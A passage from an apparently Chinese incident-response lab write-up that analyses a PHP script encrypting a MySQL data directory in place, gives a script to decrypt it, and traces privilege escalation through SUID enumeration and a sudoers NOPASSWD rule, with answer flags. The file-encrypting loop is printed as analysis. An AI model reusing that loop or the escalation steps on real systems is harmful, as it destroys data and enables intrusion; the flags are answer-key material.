             $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
             file_put_contents($fullPath, $encryptedContent);
         }
     }
    
  • foreach ($files as $file):遍历目录中所有文件和子目录。
  • if ($file != "." && $file != ".."):跳过当前目录 . 和父目录 ..
  • $fullPath = $filePath . '/' . $file:构建完整的文件路径。
  • $content = file_get_contents($fullPath):读取文件内容。
  • $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv):使用 openssl_encrypt 函数对文件内容进行加密,采用 aes-256-cbc 加密算法,使用生成的密钥和IV。
  • file_put_contents($fullPath, $encryptedContent):将加密后的内容写回到原文件中。

总的来说就是;

1. 生成基于当前日期的MD5哈希值作为加密密钥。
2. 生成一个基于特定字符串的初始化向量(IV)。
3. 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。
4. 将加密后的内容覆盖写回到原文件。

这里我就直接搬了网上师傅的逆推脚本过来,懒得写了;

<?php  
$currentDate = date("Y-m-d");  
$key = md5('2023-11-18');  
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);  
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";  
$files = scandir($filePath);  
foreach ($files as $file) {  
        if ($file != "." && $file != "..") {  
                    $fullPath = $filePath . '/' . $file;  
                        $encryptedContent = file_get_contents($fullPath);  
                        $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);  
                            file_put_contents($fullPath, $decryptedContent);  
                        }  
}  
?>

简单分析一下;

首先肯定一点的就是,这个PHP脚本的作用是对指定目录下的所有文件进行解密。

  1. 固定当前日期并生成MD5哈希

     $currentDate = "2023-11-18";
     $key = md5($currentDate);
    
  • $currentDate:指定固定的日期为 “2023-11-18”。
  • $key:使用 md5 函数将该日期转换为一个128位的哈希值,这个值将作为解密的密钥。
  1. 生成初始化向量(IV)

     $iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
    

$iv:使用 hash 函数将字符串 “DeepMountainsGD” 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保加密和解密过程的一致性。

  1. 指定文件路径并读取目录内容

     $filePath = "/var/lib/mysql/JPMorgan@0020Chase";
     $files = scandir($filePath);
    
  • $filePath:指定目标文件路径,这里是 /var/lib/mysql/JPMorgan@0020Chase
  • $files:使用 scandir 函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
  1. 遍历文件并进行解密

     foreach ($files as $file) {
         if ($file != "." && $file != "..") {
             $fullPath = $filePath . '/' . $file;
             $content = file_get_contents($fullPath);
             $encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv);
             file_put_contents($fullPath, $encryptedContent);
         }
     }
    
  • foreach ($files as $file):遍历目录中所有文件和子目录。
  • if ($file != "." && $file != ".."):跳过当前目录 . 和父目录 ..
  • $fullPath = $filePath . '/' . $file:构建完整的文件路径。
  • $content = file_get_contents($fullPath):读取文件内容。
  • $encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv):使用 openssl_decrypt 函数对文件内容进行解密,采用 aes-256-cbc 解密算法,使用生成的密钥和IV。
  • file_put_contents($fullPath, $encryptedContent):将解密后的内容写回到原文件中。

总结来说就是;

  • 使用固定的日期 “2023-11-18” 生成MD5哈希值作为解密密钥。
  • 生成一个基于特定字符串的初始化向量(IV)。
  • 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
  • 将解密后的内容覆盖写回到原文件。

那这里我们直接把解密脚本写在/var/www/mysql/目录下即可;(写入的方法不唯一,可以直接在Liunx中“vim”一个文件,也可以直接在Finalsheell下右键新建一个php后缀结尾的文件)

这里直接是“vim”编辑了一个文件,接着脚本复制进去即可;(注意先按“i”才能复制)

vim 123.php

在这里插入图片描述

接着保存退出(先按一次Esc,接着按住shift+:英文的冒号,输入:wq保存退出即可)

接着运行;

php 123.php

运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;

使用命令;

sudo systemctl restart mysql

在这里插入图片描述

接着,再返回我们的“Navicat Premium 16”,选中刷新一下即可,看见表;

在这里插入图片描述

也可以在“Finalshell”目录下载直接右键新建也行;

在这里插入图片描述

接着就是把脚本复制进新建的文件中,Ctrl+s保存即可,然后还是跟上面一样执行脚本,重启一下数据库即可;

方法不唯一,仅供参考;

不过这里需要注意的是,脚本最好只运行一次!!!!!(如果运行脚本并且报错了,就不要再运行了,因为可能你的数据库已经被你覆盖掉了,这时候没办法,只能新启一个靶机了,所以最好一气呵成不要报错!!!!)

那最后题目问我们Harper用户对应Areer的值是什么并且进行MD5加密;

注意先进行MD5加密再提交,这里就不再演示,直接放结果;(随便找个在线的MD5加密即可)

在这里插入图片描述

至此;

flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
步骤#1.10
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

解题思路

题目让我们找到黑客提权所使用的文件并且进行MD5加密,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。

命令:

find / -user root -perm -4000 2>/dev/null

简单分析一下;

  • find /: 从根目录开始查找文件。
  • -user root: 查找所有属于 root 用户的文件。
  • -perm -4000: 查找设置了 SUID 位的文件(即特殊权限位)。
    • 4000 是八进制表示法,用于指定 SUID 位。
    • -perm -4000 意味着查找具有 SUID 权限的文件,无论其他权限如何。
  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,即忽略错误信息(例如没有权限访问的目录)。

那有的师傅可能就要问了,为什么会使用这个命令;

简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。

得到;

在这里插入图片描述

简单分析一下;

发现/usr/bin/sudo:Sudo 是一个常见的提权工具,肯定会被滥用。

/usr/bin/sudo

  • 使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
  • 历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。

那我们进一步的分析一下“/etc/sudoers”

为什么会分析“/etc/sudoers”呢?

  • 权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
  • 命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
  • 安全策略:确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
  • 日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。

简而言之: /etc/sudoers 包含了系统上 sudo 的配置和权限设置。(之前不是分析出sudo可能有问题嘛)

所以;

cat /etc/sudoers

得到;

在这里插入图片描述

简单分析一下;

默认设置 (Defaults)

  • env_reset:重置环境变量,确保运行 sudo 命令时环境变量安全。
  • mail_badpass:在用户输入错误密码时发送邮件通知。
  • secure_path:为 sudo 命令设置安全路径,确保运行的命令来自可信路径。

用户权限 (User privilege specification)

  • root ALL=(ALL:ALL) ALL:root 用户可以在任何主机上以任何用户身份执行任何命令。
  • www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.servicewww-data 用户可以以 root 身份执行 /bin/systemctl status apache2.service 命令,并且无需输入密码。

重点分析

  • www-data 用户的权限配置
    • 配置允许 www-data 用户以 root 身份执行特定的 systemctl 命令,而不需要输入密码。虽然这看起来是一个受限的权限配置,但如果 www-data 用户的环境中存在漏洞,黑客可以利用这些漏洞提权。
    • 例如,如果 web 应用程序允许上传和执行任意文件,黑客可以上传恶意脚本,利用 systemctl 命令的执行权限来进一步渗透系统。

NOPASSWD 选项

  • 任何无需密码验证的 sudo 配置都可能带来危害,因为它为潜在的攻击者提供了绕过身份验证的途径。
  • 在这个案例中,虽然只允许执行 systemctl status apache2.service,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。

题目让我们提交提权文件完整路径的MD5;

完整路径:/etc/sudoers

所以直接在Liunx中MD5加密即可;(这里不再多说)

md5sum /etc/sudoers

至此;

flag{6585817513b0ea96707ebb0d04d6aeff}
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐